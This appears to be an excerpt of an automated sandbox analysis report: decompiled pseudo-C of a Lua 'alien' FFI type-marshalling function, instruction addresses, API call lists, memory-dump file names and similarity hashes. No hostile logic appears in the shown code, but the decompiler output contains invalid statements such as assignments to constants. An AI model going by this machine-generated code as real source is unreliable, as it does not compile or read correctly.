								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L25:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								goto L0;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L20:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t253 =  *((intOrPtr*)(_t277 - 0x14));
					 *((intOrPtr*)(_t277 - 0x3c)) = 0;
					_t227 =  *(_t253 + 0xc);
					if(_t227 > 0xc) {
						L58:
						_t228 =  *(_t253 + 8);
						if(_t228 == 0) {
							_t228 = "anonymous";
						}
						_push(_t228);
						_push("alien: unknown return type (function %s)");
						_push(_t275);
						L005E3F26();
						L61:
						_t281 = _t280 + 0xc;
						L62:
						 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) +  ~( *(_t277 - 0x48)) * 4;
						 *((intOrPtr*)(_t277 - 0x2c)) =  *((intOrPtr*)(_t277 - 0x2c)) -  *((intOrPtr*)(_t277 - 0x30));
						_t273 = 0;
						 *((intOrPtr*)(_t277 - 0x28)) =  *((intOrPtr*)(_t277 - 0x28)) +  ~( *(_t277 - 0x38)) * 4;
						if( *((intOrPtr*)(_t277 - 0x44)) <= 0) {
							L72:
							_pop(_t274);
							_pop(_t276);
							_pop(_t248);
							return E005E45A4( *((intOrPtr*)(_t277 - 0x30)) +  *((intOrPtr*)(_t277 - 0x34)) +  *(_t277 - 0x38) +  *(_t277 - 0x48) + 1, _t248,  *(_t277 - 4) ^ _t277,  *(_t277 - 0x48), _t274, _t276);
						} else {
							goto L63;
						}
						do {
							L63:
							_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 0x30)) + _t273 * 4)) + 0xfffffff3;
							if(_t239 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t239 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t284 = _t281 - 8;
									 *_t284 = _t291;
									_push(_t275);
									L005E3F80();
									_t281 = _t284 + 0xc;
									 *((intOrPtr*)(_t277 - 0x24)) =  *((intOrPtr*)(_t277 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t273 = _t273 + 1;
						} while (_t273 <  *((intOrPtr*)(_t277 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t227 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t246, _t263, _t272, _t291,  *((intOrPtr*)(_t277 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t277 - 0x14)) + 4)), 0, _t272);
							_push(_t275);
							L005E3F74();
							_t281 = _t280 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e23ed
0x005e23ed
0x005e23ed
0x005e23ed
0x005e23ed
0x005e23ed
0x005e23ef
0x005e23f4
0x005e23ff
0x005e2406
0x005e240b
0x005e2411
0x005e2413
0x005e2418
0x005e241b
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tonumber.LUA5.1 ref: 005E23EF
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tonumber.
String ID:
API String ID: 2475247279-0
Opcode ID: 3dbf32187fe3a9c39f42a116fa5086d451293d7b1eec97547af492f809ab8a10
Instruction ID: dd8bbe4633a607ea71de1928e6564a175c26f0b56f1ce7155550fba6f2f7aa9d
Opcode Fuzzy Hash: 3dbf32187fe3a9c39f42a116fa5086d451293d7b1eec97547af492f809ab8a10
Instruction Fuzzy Hash: E3B1C5B5D041499BCB08EB95DD89CEEBFF8FF89300F148548E481B720ADA399A15CB71

Uniqueness

Uniqueness Score: -1.00%

Function 005E24A2, Relevance: 25.8, APIs: 17, Instructions: 319
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E24A2(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				intOrPtr* _t222;
				signed int _t224;
				char* _t225;
				signed int _t226;
